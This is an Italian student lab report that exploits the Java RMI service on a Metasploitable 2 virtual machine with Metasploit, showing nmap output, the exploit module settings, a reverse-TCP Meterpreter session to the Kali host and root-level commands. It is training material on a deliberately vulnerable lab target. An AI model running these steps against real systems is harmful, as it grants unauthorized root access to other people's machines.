

PRATICA S7 L5

Sfruttamento della vulnerabilità Java RMI su Metasploitable2 (Porta 1099) con Metasploit



Indice

1. Introduzione	Pag. 2
2. Cos'è un exploit?	Pag. 2
3. Descrizione della vulnerabilità	Pag. 2
4. Configurazione dell'ambiente	Pag. 2
5. Procedura di attacco	Pag. 3

1. Introduzione

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 - Java RMI. Ci viene richiesto di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante KALI deve avere indirizzo IP \sim 192.168.11.111
- La macchina vittima Metasploitable deve avere indirizzo IP \sim 192.168.11.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:

- 1) configurazione di rete.
- 2) informazioni sulla tabella di routing della macchina vittima.

2. Cos'è un exploit?

Un **exploit** è un codice o una sequenza di comandi che **sfrutta una vulnerabilità** in un sistema informatico o in un'applicazione software. Gli exploit possono essere utilizzati per ottenere accesso non autorizzato a un sistema, eseguire codice arbitrario o causare altri danni.

3. Descrizione della vulnerabilità

La vulnerabilità risiede nella deserializzazione non sicura degli oggetti Java. Quando un server RMI riceve un oggetto serializzato da un client, lo deserializza per ricostruire l'oggetto in memoria. Se un attaccante invia un oggetto serializzato malevolo, può sfruttare questa vulnerabilità per eseguire codice arbitrario sul server.

4. Configurazione dell'ambiente

Macchina attaccante (Kali): **192.168.11.111**

```
(kali@kali)~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
    inet6 fe80::a58e:9e23:14e3:a5cf prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:6e:13:6e txqueuelen 1000 (Ethernet)
    RX packets 112 bytes 11151 (10.8 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 48 bytes 16663 (16.2 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 8 bytes 480 (480.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 8 bytes 480 (480.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

(kali@kali)~$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data:
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=1.68 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=1.28 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=1.71 ms
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=1.40 ms
64 bytes from 192.168.11.112: icmp_seq=5 ttl=64 time=1.36 ms
64 bytes from 192.168.11.112: icmp_seq=6 ttl=64 time=1.38 ms
64 bytes from 192.168.11.112: icmp_seq=7 ttl=64 time=2.07 ms
64 bytes from 192.168.11.112: icmp_seq=8 ttl=64 time=0.832 ms
64 bytes from 192.168.11.112: icmp_seq=9 ttl=64 time=1.78 ms
64 bytes from 192.168.11.112: icmp_seq=10 ttl=64 time=0.864 ms
^C
--- 192.168.11.112 ping statistics ---
10 packets transmitted, 10 received, 0% packet loss, time 9066ms
rtt min/avg/max/mdev = 0.832/1.434/2.073/0.371 ms

(kali@kali)~$
```

Macchina vittima (Metasploitable 2): **192.168.11.112**

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:0d:91:4c
          inet addr:192.168.11.112  Bcast:192.168.11.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe0d:914c/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:70 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:5004 (4.8 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:119 errors:0 dropped:0 overruns:0 frame:0
          TX packets:119 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:25329 (24.7 KB)  TX bytes:25329 (24.7 KB)
```

5. Procedura di attacco

Prima di procedere con l'attacco ci accertiamo che la Porta 1099 sia effettivamente aperta con il comando **nmap -sV 192.168.11.112**

```
(kali@kali)~$ nmap -sV 192.168.11.112
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-14 05:11 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.11.112
Host is up (0.0037s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE          VERSION
21/tcp    open  ftp              vsftpd 2.3.4
22/tcp    open  ssh              OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet           Linux telnetd
25/tcp    open  smtp             Postfix smtpd
53/tcp    open  domain          ISC BIND 9.4.2
80/tcp    open  http             Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind          2 (RPC #100000)
139/tcp   open  netbios-ssn     Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn     Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec            netkit-rsh rexecd
513/tcp   open  login?          netkit-rsh rexecd
514/tcp   open  shell           Netkit rshd
1099/tcp  open  java-rmi        GNU Classpath grmiregistry
1524/tcp  open  bindshell       Metasploitable root shell
2049/tcp  open  nfs             2-4 (RPC #100003)
2121/tcp  open  ftp             ProFTPD 1.3.1
3306/tcp  open  mysql           MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql      PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc             VNC (protocol 3.3)
6000/tcp  open  X11             (access denied)
6667/tcp  open  irc             UnrealIRCd
8009/tcp  open  ajp13           Apache Jserv (Protocol v1.3)
8180/tcp  open  http            Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:0D:91:4C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.88 seconds
```

Fatto ciò, avviamo Metasploit con il comando **msfconsole**

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: Use the edit command to open the currently active module
in your editor

[...]
```

Cerchiamo il modulo adatto con **search java_rmi** e con il comando **use 1** selezioniamo **exploit/multi/misc/java_rmi_server**

```
msf6 > search java_rmi

Matching Modules
=====
#  Name                                                                 Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/gather/java_rmi_registry                                .               normal  No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server                               2011-10-15      excellent Yes     Java RMI Server Insecure Default Configuration Java Code Execution
2    \_ target: Generic (Java Payload)                               .               .       .       .
3    \_ target: Windows x86 (Native Payload)                         .               .       .       .
4    \_ target: Linux x86 (Native Payload)                           .               .       .       .
5    \_ target: Mac OS X PPC (Native Payload)                       .               .       .       .
6    \_ target: Mac OS X x86 (Native Payload)                       .               .       .       .
7  auxiliary/scanner/misc/java_rmi_server                           2011-10-15      normal  No     Java RMI Server Insecure Endpoint Code Execution Scanner
8  exploit/multi/browser/java_rmi_connection_impl                   2010-03-31      excellent No     Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) >
```

Con il comando **options** controlliamo i parametri che il modulo richiede per funzionare, l'unico necessario è l'**RHOSTS**, cioè l'indirizzo della **macchina target**

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                           |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                           |
| RHOSTS    |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                 |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                          |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                   |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.
```

Lo impostiamo col comando **set RHOSTS 192.168.11.112** e procediamo con l'attacco col comando **run** (che può essere utilizzato al posto di **exploit**)

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/I7LsRePs
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:49569) at 2025-03-14 06:19:02 -0400

meterpreter > 
```

Riusciamo ad ottenere una sessione Meterpreter. Con il comando **getuid** vediamo che siamo root, con il comando **ifconfig** la configurazione di rete della macchina e con il comando **route** informazioni sulla tabella di routing della macchina vittima

```
meterpreter > getuid
Server username: root
meterpreter > ifconfig

Interface 1
Name : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
Name : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe0d:914c
IPv6 Netmask : ::

meterpreter > route

IPv4 network routes



| Subnet         | Netmask       | Gateway | Metric | Interface |
|----------------|---------------|---------|--------|-----------|
| 127.0.0.1      | 255.0.0.0     | 0.0.0.0 |        |           |
| 192.168.11.112 | 255.255.255.0 | 0.0.0.0 |        |           |



IPv6 network routes



| Subnet                   | Netmask | Gateway | Metric | Interface |
|--------------------------|---------|---------|--------|-----------|
| ::1                      | ::      | ::      |        |           |
| fe80::a00:27ff:fe0d:914c | ::      | ::      |        |           |



meterpreter > 
```